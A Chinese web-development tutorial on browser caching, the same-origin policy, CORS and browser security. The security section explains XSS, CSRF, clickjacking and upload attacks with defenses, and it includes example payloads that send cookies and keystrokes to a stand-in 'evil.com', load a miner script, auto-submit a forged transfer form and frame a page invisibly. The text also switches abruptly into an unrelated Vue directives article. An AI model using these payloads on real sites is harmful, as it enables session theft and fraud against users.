ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT
  1. 资源版本管理
<!-- 不好的做法:覆盖式发布 -->
<link rel="stylesheet" href="style.css">

<!-- 好的做法:文件名带哈希,非覆盖式发布 -->
<link rel="stylesheet" href="style.a1b2c3.css">

部署策略

  1. 先部署静态资源(新的哈希文件名)
  2. 再部署HTML页面(引用新的哈希)
  3. 新旧文件共存,不会出现中间态错乱
  4. 使用Cache API(Service Worker)
// Service Worker中手动控制缓存
self.addEventListener('fetch', event => {
  event.respondWith(
    caches.open('my-cache').then(cache => {
      return cache.match(event.request).then(response => {
        return response || fetch(event.request).then(networkResponse => {
          cache.put(event.request, networkResponse.clone());
          return networkResponse;
        });
      });
    })
  );
});

五、🌍浏览器的缓存机制

想象一下:没有缓存的世界

第一次访问:下载 2MB 资源 → 2秒
第二次访问:重新下载 2MB 资源 → 2秒
第三次访问:重新下载 2MB 资源 → 2秒
...
第100次访问:还是 2MB → 永远2秒!

有缓存的世界 ✨

第一次访问:下载 2MB 资源 → 2秒(存起来)
第二次访问:直接从缓存读 → 20毫秒
第三次访问:直接从缓存读 → 20毫秒
...
第100次访问:还是20毫秒!

缓存的核心价值:减少请求、节省带宽、加速加载!

缓存分类全景图

浏览器缓存分为两大类:

【浏览器缓存】
├── 强缓存(本地缓存)
│   ├── Memory Cache(内存缓存)
│   └── Disk Cache(磁盘缓存)
└── 协商缓存(HTTP缓存)
    ├── Last-Modified / If-Modified-Since
    └── ETag / If-None-Match

完整请求流程图

image.png

强缓存(本地缓存)

强缓存 = 浏览器不经过服务器,直接从本地读取缓存。

在Chrome的Network面板中,你会看到:

  • 200 OK (from memory cache) → 从内存读取
  • 200 OK (from disk cache) → 从磁盘读取

强缓存的两种实现方式

1️⃣:Expires(HTTP/1.0)

Expires: Wed, 21 Oct 2025 07:28:00 GMT

原理:服务器告诉浏览器:"在这个时间之前,直接用缓存,别问我"

问题

  • 依赖客户端时间(用户改了系统时间就失效)
  • 格式复杂,解析麻烦
  • 时间到了还得重新请求

2️⃣:Cache-Control(HTTP/1.1,推荐)

Cache-Control: max-age=31536000

原理:服务器告诉浏览器:"这个资源在3600秒内有效,直接用缓存"

优势

  • 相对时间,不受客户端时间影响
  • 指令丰富,功能强大
  • 优先级高于Expires

Cache-Control 指令大全

指令 说明 示例
max-age 缓存有效期(秒) max-age=3600
s-maxage 共享缓存有效期(CDN) s-maxage=3600
public 任何缓存都可存(包括CDN) public, max-age=3600
private 仅浏览器可存(CDN不可存) private, max-age=3600
no-cache 强制协商缓存 no-cache
no-store 完全禁用缓存 no-store
must-revalidate 过期必须验证 must-revalidate

常见组合策略

# 1. 静态资源(图片、CSS、JS)- 长期缓存
Cache-Control: public, max-age=31536000, immutable

# 2. HTML文件 - 每次都验证
Cache-Control: no-cache

# 3. 敏感数据 - 完全不缓存
Cache-Control: no-store, private

# 4. API响应 - 短时间缓存
Cache-Control: private, max-age=60

协商缓存

协商缓存 = 浏览器问一下服务器:"我这个缓存还能用吗?"

服务器可能回答:

  • 304 Not Modified:用你的缓存吧(不返回资源)
  • 200 OK:你的缓存过期了,这是新的(返回新资源)

协商缓存的两组搭档

1️⃣:Last-Modified / If-Modified-Since

# 第一次请求的响应头
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

# 后续请求的请求头
If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT

工作原理

  1. 服务器返回资源时,带上最后修改时间
  2. 下次请求,浏览器带上这个时间问:"这个时间之后有修改吗?"
  3. 服务器检查:
    • 没修改 → 返回304
    • 有修改 → 返回200+新资源

问题

  • 只能精确到秒(1秒内多次修改无法识别)
  • 修改时间变了但内容没变(比如重命名文件)

2️⃣:ETag / If-None-Match(更精确)

# 第一次请求的响应头
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"

# 后续请求的请求头
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

工作原理

  1. 服务器返回资源时,根据内容生成唯一指纹(ETag)
  2. 下次请求,浏览器带上这个指纹问:"这个指纹匹配吗?"
  3. 服务器检查:
    • 指纹匹配 → 返回304
    • 不匹配 → 返回200+新指纹

优势

  • 精确到内容级别(内容没变,指纹就不变)
  • 解决Last-Modified的所有问题

ETag的生成方式

// 1. 基于文件内容哈希(推荐)
const hash = crypto.createHash('md5').update(fileContent).digest('hex');
ETag: `"${hash}"`

// 2. 基于版本号
ETag: `"v1.2.3"`

// 3. 基于修改时间+文件大小
ETag: `"${fileSize}-${fileMTime}"`

缓存决策流程

  1. 完整的缓存判断逻辑
// 伪代码:浏览器的缓存决策逻辑
function shouldUseCache(request) {
  // 1. 检查是否有缓存
  const cache = findCache(request.url);
  if (!cache) return false;
  
  // 2. 检查Cache-Control: no-store
  if (cache.hasDirective('no-store')) return false;
  
  // 3. 检查强缓存
  if (cache.hasDirective('max-age')) {
    const age = Date.now() - cache.timestamp;
    if (age < cache.maxAge) {
      return 'strong-cache'; // 强缓存生效
    }
  }
  
  // 4. 检查Cache-Control: no-cache
  if (cache.hasDirective('no-cache')) {
    return 'negotiate-cache'; // 需要协商
  }
  
  // 5. 检查ETag/Last-Modified
  if (cache.etag || cache.lastModified) {
    return 'negotiate-cache'; // 需要协商
  }
  
  return false;
}
  1. 实际请求示例

第一次请求

# 请求
GET /style.css

# 响应
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
ETag: "abc123"
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT
Content-Type: text/css

...文件内容...

第二次请求(1小时内)

# 浏览器:有缓存,max-age还没过,直接用!
# 网络面板显示:200 OK (from disk cache)

第三次请求(1小时后)

# 请求
GET /style.css
If-None-Match: "abc123"
If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT

# 响应(文件没变)
HTTP/1.1 304 Not Modified
# 没有文件内容!

第四次请求(1小时后,文件变了)

# 请求
GET /style.css
If-None-Match: "abc123"
If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT

# 响应(文件变了)
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
ETag: "def456"  # 新的指纹
Last-Modified: Wed, 21 Oct 2023 09:15:00 GMT  # 新的时间

...新的文件内容...

实际应用策略

  1. 静态资源缓存策略(最佳实践)
# 1. HTML文件 - 每次都验证(no-cache)
location / {
    add_header Cache-Control "no-cache";
}

# 2. CSS/JS/图片 - 长期缓存(文件名带哈希)
location /static/ {
    add_header Cache-Control "public, max-age=31536000, immutable";
}
  1. 文件名哈希策略
<!-- 不好的做法:覆盖式发布 -->
<link rel="stylesheet" href="style.css">

<!-- 好的做法:文件名带哈希,非覆盖式发布 -->
<link rel="stylesheet" href="style.a1b2c3.css">
<link rel="stylesheet" href="style.d4e5f6.css">

发布流程

  1. 构建时生成文件哈希:style.8d3f9e.css
  2. 部署新文件(旧文件还在)
  3. 更新HTML引用
  4. 用户下次访问自动下载新文件

不同资源的缓存策略

资源类型 推荐策略 原因
HTML no-cache 需要实时更新
CSS/JS max-age=31536000, immutable 内容稳定,文件名哈希
图片 max-age=86400 (1天) 可以稍微滞后
API数据 private, max-age=60 用户相关,短时间缓存
用户头像 public, max-age=3600 公开数据,可缓存

刷新操作对缓存的影响

// 不同刷新操作的不同行为
┌─────────────────┬──────────┬────────────┐
│    操作         │ 强缓存   │ 协商缓存   │
├─────────────────┼──────────┼────────────┤
│ 普通刷新(F5)    │ ✅ 生效  │ ✅ 生效    │
├─────────────────┼──────────┼────────────┤
│ 强制刷新(Ctrl+F5)│ ❌ 跳过  │ ❌ 跳过    │
├─────────────────┼──────────┼────────────┤
│ 地址栏回车       │ ✅ 生效  │ ✅ 生效    │
├─────────────────┼──────────┼────────────┤
│ 前进/后退       │ ✅ 生效  │ ✅ 生效    │
└─────────────────┴──────────┴────────────┘

禁用缓存(调试时常用):

Network面板 → 勾选 "Disable cache"

查看完整头信息

Network面板 → 点击请求 → Headers
- Response Headers: 服务器返回的缓存指令
- Request Headers: 浏览器发送的验证条件

缓存问题排查清单

// 当缓存不符合预期时,按顺序检查
const cacheDebugChecklist = [
  '1. 看Network面板,实际状态码是什么?',
  '2. 检查Response Headers的Cache-Control',
  '3. 检查是否有ETag/Last-Modified',
  '4. 看是memory cache还是disk cache',
  '5. 尝试地址栏回车(不是刷新)',
  '6. 检查文件名是否带哈希',
  '7. 看是不是强制刷新了',
  '8. 检查浏览器设置是否禁用缓存'
];

版本回退问题

<!-- 场景:发布了新版本,但HTML引用的还是旧哈希 -->
<link rel="stylesheet" href="style.oldhash.css">

<!-- 问题:用户缓存了旧HTML,永远拿不到新CSS! -->

解决方案

  1. HTML设置no-cache(强制验证)
  2. 或使用Service Worker主动更新

CDN缓存不一致

# 如果CDN缓存了旧资源,用户可能一直拿不到新的
# 解决方案:版本回退策略
Cache-Control: public, max-age=31536000
Surrogate-Control: max-age=86400  # CDN只缓存1天

ETag的计算开销

// 如果每个请求都重新计算ETag(读文件、算哈希)
// 可能反而降低性能!

// 好的做法:
// 1. 用文件修改时间+大小(轻量)
// 2. 用版本号(最简单)
// 3. 用缓存计算结果(只在文件变更时算)

六、🛡️浏览器的同源策略:Web安全的基石

同源策略

想象一下:如果没有同源策略...

// 你在浏览银行网站 https://mybank.com
// 同时打开了恶意网站 https://evil.com

// 恶意网站的脚本可以:
// 1. 读取你的银行数据
fetch('https://mybank.com/api/account')  // 能成功吗?
  .then(res => res.json())
  .then(data => console.log('你的余额:', data));

// 2. 操作你的账户
fetch('https://mybank.com/api/transfer', {
  method: 'POST',
  body: 'to=hacker&amount=10000'
});

// 3. 获取你的Cookie
console.log(document.cookie);  // 能看到银行的Cookie吗?

这太危险了!💀

同源策略 = 浏览器规定:只有"同源"的页面,才能共享和操作彼此的资源

什么是同源?—— 协议 + 域名 + 端口 三者完全相同!

https://mybank.com:443/index.html
  ↑         ↑       ↑
 协议      域名    端口

同源判断示例

URL A URL B 是否同源 原因
https://mybank.com https://mybank.com/api ✅ 同源 协议、域名、端口相同
https://mybank.com http://mybank.com ❌ 不同源 协议不同(https vs http)
https://mybank.com https://api.mybank.com ❌ 不同源 域名不同(子域名不同)
https://mybank.com https://mybank.com:8080 ❌ 不同源 端口不同(443 vs 8080)
http://localhost:3000 http://127.0.0.1:3000 ❌ 不同源 域名不同(localhost vs IP)

同源策略的三大防线

同源策略主要保护三个方面:

  1. 第一道防线:DOM 访问限制
// 页面A: https://mybank.com
// 页面B: https://evil.com(不同源)

// ❌ 无法读取对方的DOM
const iframe = document.getElementById('bank-iframe');
console.log(iframe.contentDocument.body.innerHTML); 
// 报错!Blocked a frame with origin "https://evil.com" 
// from accessing a cross-origin frame.

保护的场景

  • 恶意网站不能读取银行网站的内容
  • 不能篡改其他网站的DOM结构
  • 不能监听其他网站的用户输入
  1. 第二道防线:网络请求限制
// 页面: https://myapp.com
// API: https://api.myapp.com(不同源!)

// ❌ 默认情况下,跨域请求会被限制
fetch('https://api.myapp.com/data')
  .then(res => res.json())
  .catch(err => console.log('跨域错误:', err));
// 报错!No 'Access-Control-Allow-Origin' header

保护的场景

  • 恶意网站不能随意调用其他网站的API
  • 保护用户数据不被第三方窃取

注意:同源策略阻止的是读取响应,不是阻止发送请求!

// 请求可以发送出去,服务器也会处理
// 但浏览器不允许JS读取响应内容
  1. 第三道防线:数据存储隔离
// 页面A: https://mybank.com
localStorage.setItem('token', 'secret123');

// 页面B: https://evil.com
console.log(localStorage.getItem('token')); 
// null!不同源的localStorage完全隔离

// Cookie虽然有特殊规则,但默认也只能由同源页面读取
console.log(document.cookie); // 只能看到自己域名的Cookie

保护的存储

  • localStorage/sessionStorage
  • IndexedDB
  • Cookies(有特殊规则)
  • Web SQL

可以跨域访问的资源

同源策略不是一刀切,有些资源是允许跨域访问的:

  1. 允许跨域的标签
<!-- ✅ 这些标签可以加载跨域资源 -->
<img src="https://other-site.com/image.jpg">
<link rel="stylesheet" href="https://other-site.com/style.css">
<script src="https://other-site.com/script.js"></script>
<video src="https://other-site.com/video.mp4"></video>
<iframe src="https://other-site.com/page.html"></iframe>

为什么允许?

  • 这些是Web的基础功能(图片、样式、脚本)
  • 但如果完全不加限制也有风险,所以后续加了CORS等机制
  1. 允许的跨域写入
<!-- ✅ 可以提交表单到跨域地址 -->
<form action="https://other-site.com/submit" method="POST">
  <input type="text" name="data">
  <button type="submit">提交</button>
</form>

<!-- ✅ 可以重定向到跨域地址 -->
<a href="https://other-site.com">跳转</a>
  1. 禁止的跨域读取
// ❌ 不能读取跨域响应的内容
const response = await fetch('https://api.other.com/data');
const data = await response.json(); // 报错!

// ❌ 不能读取跨域页面的DOM
const iframe = document.getElementById('other-site');
console.log(iframe.contentWindow.document); // 报错!

// ❌ 不能读取跨域的Cookie
console.log(document.cookie); // 只能看到自己域名的

合法地跨域

  1. CORS(跨域资源共享)- 最正统的方案

CORS = Cross-Origin Resource Sharing,通过HTTP头来控制跨域访问。

简单请求

# 请求头(浏览器自动添加)
Origin: https://myapp.com

# 响应头(服务器必须设置)
Access-Control-Allow-Origin: https://myapp.com
# 或允许所有
Access-Control-Allow-Origin: *

完整CORS响应头

Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true  # 允许携带Cookie
Access-Control-Max-Age: 86400  # 预检请求缓存时间

携带Cookie的跨域请求

// 前端需要设置 credentials
fetch('https://api.other.com/data', {
  credentials: 'include'  // 携带Cookie
});

// 服务器必须响应
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://myapp.com  // 不能是*!

预检请求(Preflight)

对于复杂请求(如PUT、自定义头),浏览器会先发OPTIONS请求:

// 实际请求
fetch('https://api.other.com/data', {
  method: 'PUT',
  headers: {
    'Content-Type': 'application/json',
    'X-Custom-Header': 'value'
  }
});

// 浏览器先发预检
OPTIONS /data HTTP/1.1
Origin: https://myapp.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type, x-custom-header

// 服务器响应预检
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Methods: PUT
Access-Control-Allow-Headers: Content-Type, X-Custom-Header
Access-Control-Max-Age: 86400
  1. JSONP - 古老但好用的方案

利用<script>标签可以跨域的特性:

// 前端动态创建script
function jsonp(url, callbackName) {
  return new Promise((resolve, reject) => {
    // 定义回调函数
    window[callbackName] = (data) => {
      resolve(data);
      document.body.removeChild(script);
      delete window[callbackName];
    };
    
    // 创建script标签
    const script = document.createElement('script');
    script.src = `${url}?callback=${callbackName}`;
    script.onerror = reject;
    document.body.appendChild(script);
  });
}

// 使用
jsonp('https://api.other.com/data', 'handleData')
  .then(data => console.log(data));

// 服务器返回
handleData({ "name": "张三", "age": 25 });

优缺点

  • ✅ 兼容性好(支持老浏览器)
  • ✅ 实现简单
  • ❌ 只支持GET请求
  • ❌ 错误处理不完善
  • ❌ 安全性问题(可能被注入)
  1. 代理服务器 - 开发常用
// vite.config.js
export default {
  server: {
    proxy: {
      '/api': {
        target: 'https://api.other.com',
        changeOrigin: true,
        rewrite: (path) => path.replace(/^\/api/, '')
      }
    }
  }
}

// 前端直接写
fetch('/api/users')  // 被代理到 https://api.other.com/users

原理:浏览器 → 同源代理服务器 → 目标服务器

  1. postMessage - 跨窗口通信
// 页面A: https://myapp.com
const iframe = document.getElementById('other-site');
iframe.contentWindow.postMessage({
  type: 'GET_DATA',
  id: 123
}, 'https://other-site.com');

// 页面B: https://other-site.com
window.addEventListener('message', (event) => {
  // 验证来源
  if (event.origin !== 'https://myapp.com') return;
  
  console.log('收到数据:', event.data);
  
  // 回传数据
  event.source.postMessage({
    type: 'DATA_RESPONSE',
    data: { name: '张三' }
  }, event.origin);
});
  1. document.domain - 子域名通信
// 页面A: https://app.mycompany.com
// 页面B: https://api.mycompany.com

// 两个页面都设置相同的domain
document.domain = 'mycompany.com';

// 现在可以互相访问了!
const iframe = document.getElementById('api-iframe');
console.log(iframe.contentDocument); // 可以访问了!

注意:这种方式已经逐渐被废弃,推荐使用postMessage

  1. 坑点:CORS 预检请求的性能影响
// 每个复杂请求都会先发OPTIONS
// 如果接口很多,会多出很多请求!

// 解决方案:设置Access-Control-Max-Age
Access-Control-Max-Age: 86400  // 缓存预检结果1天
  1. 坑点:Cookie 的跨域问题
// 即使设置了CORS,Cookie默认也不会携带
fetch('https://api.other.com/data', {
  credentials: 'include'  // 必须显式指定
});

// 服务器也必须设置
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://myapp.com  // 不能是*!
  1. 坑点:localhost 和 127.0.0.1 不同源
// 页面: http://localhost:3000
// API: http://127.0.0.1:3000

fetch('http://127.0.0.1:3000/api'); 
// 跨域错误!因为域名不同

同源策略与安全

1. 同源策略可以预防的攻击

攻击类型 是否防御 说明
CSRF ⚠️ 部分 Cookie自动携带的问题仍需额外防护
XSS ❌ 不防 XSS是代码注入,同源策略无法阻止
点击劫持 ⚠️ 部分 需要配合X-Frame-Options
数据泄露 ✅ 有效 防止恶意网站读取其他网站数据

2. 同源策略不能预防的攻击

// CSRF攻击:同源策略不防!
// 用户访问恶意网站,自动向银行发请求
fetch('https://mybank.com/transfer', {
  method: 'POST',
  body: 'to=hacker&amount=10000',
  credentials: 'include'  // 浏览器会自动带上Cookie!
});

// 需要额外防护:CSRF Token、SameSite Cookie

3. 相关安全策略

# X-Frame-Options - 防止点击劫持
X-Frame-Options: DENY  # 禁止被iframe
X-Frame-Options: SAMEORIGIN  # 只允许同源iframe

# Content-Security-Policy - 内容安全策略
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com

# Referrer-Policy - 控制Referer
Referrer-Policy: same-origin

七、🛡️浏览器安全完全指南:从XSS到CSRF,全方位防御体系

某电商平台因为一个XSS漏洞,导致:

  • 10万+用户Cookie被盗
  • 攻击者冒充用户下单
  • 直接经济损失数百万
  • 品牌信誉严重受损

罪魁祸首:一行不安全的代码

// 就这行代码!
document.getElementById('comment').innerHTML = userInput;

XSS攻击 - 最普遍的威胁

XSS = Cross-Site Scripting(跨站脚本攻击)

原理:攻击者在目标网站注入恶意脚本,当其他用户访问时执行。

XSS的三种类型

  1. 反射型XSS(非持久型)
// 恶意链接
https://example.com/search?q=<script>alert('XSS')</script>

// 服务器直接返回
<p>您搜索的是:<script>alert('XSS')</script></p>

// 用户点击后,脚本立即执行

特点

  • 一次性,不存储
  • 通常通过URL传播
  • 需要诱导用户点击
  1. 存储型XSS(持久型) - 最危险!
// 攻击者在评论区提交
评论内容:<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

// 网站存储到数据库
// 所有访问该页面的用户都会执行此脚本
// 管理员查看时也会执行!

特点

  • 存储在服务器
  • 影响所有访问者
  • 难以彻底清除
  1. DOM型XSS(前端特有)
// URL: https://example.com#default=<script>alert(1)</script>

// 前端代码
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // 危险!

特点

  • 完全在前端发生
  • 服务器不知道
  • WAF无法防御

XSS攻击能做什么?

// 1. 窃取Cookie
document.write('<img src="https://evil.com/steal?cookie=' + document.cookie + '">');

// 2. 键盘记录
document.addEventListener('keypress', function(e) {
  fetch('https://evil.com/log?key=' + e.key);
});

// 3. 伪造请求
fetch('https://bank.com/transfer', {
  method: 'POST',
  body: 'to=hacker&amount=10000',
  credentials: 'include'
});

// 4. 篡改页面
document.body.innerHTML = '<h1>网站被黑!</h1>';

// 5. 挖矿脚本
const script = document.createElement('script');
script.src = 'https://miner.com/cryptojs.js';
document.head.appendChild(script);

XSS防御方案

方案一:输入过滤(第一道防线)

// 过滤特殊字符
function sanitizeInput(input) {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
    .replace(/\//g, '&#x2F;');
}

// 使用DOMPurify(推荐)
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyInput);

方案二:输出编码(第二道防线)

// HTML上下文
<div>${encodeHTML(userInput)}</div>

// JavaScript上下文
<script>
  const data = ${JSON.stringify(userInput).replace(/</g, '\\x3c')};
</script>

// URL上下文
<a href="/page?param=${encodeURIComponent(userInput)}">

// CSS上下文
div {
  background: ${encodeCSS(userInput)};
}

方案三:CSP(内容安全策略)- 最强防御!

# 严格CSP
Content-Security-Policy: 
  default-src 'self';                    # 只允许同源资源
  script-src 'self' https://trusted.com;  # 只允许指定源的脚本
  style-src 'self';                       # 只允许同源样式
  img-src *;                               # 图片允许所有源
  connect-src 'self';                      # AJAX只允许同源
  frame-ancestors 'none';                  # 禁止被iframe
  form-action 'self';                      # 表单只提交同源
<!-- 或通过meta标签 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

方案四:HttpOnly Cookie(防御Cookie窃取)

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

效果:JS无法读取HttpOnly的Cookie

CSRF攻击 - 冒充你的身份

CSRF = Cross-Site Request Forgery(跨站请求伪造)

原理:利用用户已登录的身份,在用户不知情的情况下发送恶意请求。

<!-- 受害者已登录银行网站 -->

<!-- 攻击者网站 evil.com 中的代码 -->

<!-- 方式1:自动提交表单 -->
<form id="transfer" action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('transfer').submit();</script>

<!-- 方式2:图片标签 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">

<!-- 方式3:AJAX请求 -->
<script>
  fetch('https://bank.com/transfer', {
    method: 'POST',
    body: 'to=hacker&amount=10000',
    credentials: 'include'  // 自动带上Cookie!
  });
</script>

CSRF的成因:

# 银行网站的Cookie设置
Set-Cookie: sessionId=abc123; Domain=bank.com; Path=/

# 浏览器机制:访问bank.com自动携带Cookie
# 问题:访问evil.com时,如果它请求bank.com,也会自动携带Cookie!

核心问题:Cookie的自动携带机制被滥用

CSRF防御方案

方案一:CSRF Token(最有效)

<!-- 服务器生成随机token,存在session中 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="随机生成的token">
  <input type="text" name="to">
  <input type="text" name="amount">
  <button>转账</button>
</form>

<!-- 服务器验证token -->

原理:攻击者无法获取这个token(同源策略阻止)

方案二:SameSite Cookie(现代浏览器的解决方案)

# 设置SameSite属性
Set-Cookie: sessionId=abc123; SameSite=Strict

# SameSite=Lax(默认):GET请求可以跨站,POST不行
# SameSite=Strict:完全禁止跨站发送
# SameSite=None:允许跨站(必须同时设置Secure)

方案三:验证Referer/Origin

// 服务器端验证
function validateRequest(req) {
  const referer = req.headers.referer;
  const origin = req.headers.origin;
  
  // 检查是否来自允许的域名
  if (!referer || !referer.startsWith('https://bank.com')) {
    throw new Error('Invalid referer');
  }
}

方案四:二次验证

// 敏感操作需要额外验证
async function transfer(amount, to) {
  // 1. 弹出验证码
  const code = await showCaptcha();
  
  // 2. 发送短信验证码
  const smsCode = await sendSMS();
  
  // 3. 确认操作
  await confirmDialog();
  
  // 最后才执行转账
  return await api.transfer(amount, to, smsCode);
}

点击劫持 - 看不见的陷阱

原理:用透明iframe覆盖在页面上,诱导用户点击。

<!-- 攻击者页面 -->
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0;  /* 完全透明 */
    width: 100%;
    height: 100%;
    z-index: 100;
  }
  
  .button {
    position: absolute;
    top: 100px;
    left: 100px;
    width: 200px;
    height: 50px;
    background: blue;
    color: white;
  }
</style>

<!-- 吸引人的假按钮 -->
<div class="button">点击领取红包!</div>

<!-- 透明的银行转账iframe -->
<iframe src="https://bank.com/transfer?to=hacker&amount=10000"></iframe>

点击劫持防御

# X-Frame-Options(老方案)
X-Frame-Options: DENY  # 禁止任何iframe
X-Frame-Options: SAMEORIGIN  # 只允许同源iframe

# CSP的frame-ancestors(新方案)
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors https://trusted.com
// JS防御(帧破坏)
if (top !== self) {
  top.location.href = self.location.href;  // 跳出iframe
}

中间人攻击 - 窃听你的通信

原理:攻击者拦截并篡改客户端和服务器之间的通信。

[用户] <-----> [攻击者] <-----> [服务器]
        窃听、篡改       转发

中间人攻击能做什么?

// 1. 窃取敏感信息
// 2. 篡改页面内容(插入恶意脚本)
// 3. 劫持登录凭证
// 4. 重定向到钓鱼网站

防御方案:HTTPS

# 强制HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# 这告诉浏览器:接下来的1年内,只能用HTTPS访问

HSTS预加载:提交到浏览器内置列表,彻底杜绝HTTP访问

其他常见攻击

  1. 开放重定向
// 漏洞代码
const redirectUrl = new URLSearchParams(location.search).get('url');
window.location.href = redirectUrl;  // 可以跳转到任意网站

// 攻击:https://bank.com/logout?url=https://evil.com
// 用户以为退出银行,结果到了钓鱼网站

防御:白名单验证

const allowedDomains = ['bank.com', 'trusted.com'];
const url = new URL(redirectUrl);

if (allowedDomains.includes(url.hostname)) {
  window.location.href = redirectUrl;
} else {
  window.location.href = '/default';
}
  1. 文件上传漏洞
// 攻击者上传PHP文件伪装成图片
shell.php.jpg

// 如果服务器没检查,就能执行恶意代码

防御

  • 检查文件类型(MIME + 扩展名)
  • 限制文件大小
  • 重命名文件(避免路径猜测)
  • 存储在独立域名(避免Cookie携带)
  1. iframe 劫持
<!-- 恶意网站把你网站套在iframe里 -->
<iframe src="https://your-site.com"></iframe>

防御

X-Frame-Options: SAMEORIGIN
# 或
Content-Security-Policy: frame-ancestors 'self'

浏览器内置安全机制

  1. 同源策略(基础中的基础)

  2. CSP(内容安全策略)

内容安全策略,通过白名单控制资源加载。

# 完整CSP示例
Content-Security-Policy:
  default-src 'none';                    # 默认禁止所有
  script-src 'self' https://cdn.com;      # 允许同源和CDN的脚本
  style-src 'self' 'unsafe-inline';       # 允许内联样式(不推荐)
  img-src * data:;                        # 允许所有图片和data URI
  font-src https://fonts.google.com;      # 只允许Google字体
  connect-src 'self' https://api.com;     # AJAX只允许指定源
  frame-ancestors 'none';                  # 禁止被iframe
  form-action 'self';                      # 表单只提交同源
  base-uri 'self';                         # 限制<base>标签
  upgrade-insecure-requests;               # 升级HTTP请求到HTTPS
  1. 安全Cookie属性
Set-Cookie:
  sessionId=abc123;
  Secure;          # 只在HTTPS发送
  HttpOnly;        # 禁止JS访问
  SameSite=Strict; # 禁止跨站发送
  Domain=bank.com; # 限制域名
  Path=/;          # 限制路径
  Max-Age=3600;    # 过期时间
  1. 子资源完整性(SRI)
<!-- 确保CDN上的文件没有被篡改 -->
<script 
  src="https://cdn.com/jquery.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>
  1. Trusted Types(防御DOM XSS)
// 开启Trusted Types
Content-Security-Policy: require-trusted-types-for 'script';

// 使用Trusted Types
const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input),
  createScript: (input) => '',  // 禁止脚本
});

// 安全地设置innerHTML
element.innerHTML = policy.createHTML(userInput);

安全思维导图

【浏览器安全】
├── XSS攻击
│   ├── 反射型 → 输入过滤、输出编码
│   ├── 存储型 → CSP、HttpOnly
│   └── DOM型 → Trusted Types、避免innerHTML
├── CSRF攻击
│   ├── 原理 → CSRF Token
│   ├── 防御 → SameSite Cookie
│   └── 补充 → 验证Referer
├── 点击劫持
│   ├── 原理 → X-Frame-Options
│   └── 防御 → CSP frame-ancestors
├── 中间人攻击
│   ├── 原理 → HTTPS
│   └── 防御 → HSTS
└── 其他攻击
    ├── 开放重定向 → 白名单验证
    ├── 文件上传 → 类型检查、重命名
    └── iframe劫持 → 帧破坏

代码生成:从AST到render函数

作者 wuhen_n
2026年3月2日 13:27

在前几篇文章中,我们学习了代码编译--转成--生成的过程。今天,我们将聚焦于指令系统——这个 Vue 中强大的声明式功能。从内置指令(v-if、v-for、v-model)到自定义指令,我们将深入它们的编译原理和运行时实现。

前言:指令的本质

指令是 Vue 模板中带有 v- 前缀的特殊属性。它本质上是一种声明式的语法糖,让我们能够在模板中直接操作 DOM 元素。

<!-- 使用指令 -->
<input v-model="message" />
<div v-if="visible">条件渲染</div>
<div v-custom:arg.modifier="value">自定义指令</div>

指令的注册方式

全局注册

const app = createApp(App);

app.directive('focus', {
  mounted(el) {
    el.focus();
  }
});

app.directive('color', {
  mounted(el, binding) {
    el.style.color = binding.value;
  },
  updated(el, binding) {
    el.style.color = binding.value;
  }
});

局部注册

export default {
  directives: {
    focus: {
      mounted(el) {
        el.focus();
      }
    },
    color: {
      mounted(el, binding) {
        el.style.color = binding.value;
      },
      updated(el, binding) {
        el.style.color = binding.value;
      }
    }
  }
}

import { directive } from 'vue';

export default {
  setup() {
    const vFocus = {
      mounted(el) {
        el.focus();
      }
    };
    
    return { vFocus };
  }
}

组件注册原理

// 指令注册的内部实现
function createDirective(name, definition) {
  // 规范化指令定义
  if (typeof definition === 'function') {
    // 函数简写形式
    definition = {
      mounted: definition,
      updated: definition
    };
  }
  
  return {
    name,
    ...definition
  };
}

// 全局注册表
const globalDirectives = new Map();

app.directive = function(name, definition) {
  if (definition === undefined) {
    // 获取指令
    return globalDirectives.get(name);
  } else {
    // 注册指令
    globalDirectives.set(name, createDirective(name, definition));
    return this;
  }
};

指令生命周期钩子

完整的钩子函数

const myDirective = {
  // 在绑定元素的 attribute 前
  // 或事件监听器应用前调用
  created(el, binding, vnode) {
    console.log('created', binding);
  },
  
  // 在元素被插入到 DOM 前调用
  beforeMount(el, binding, vnode) {
    console.log('beforeMount', binding);
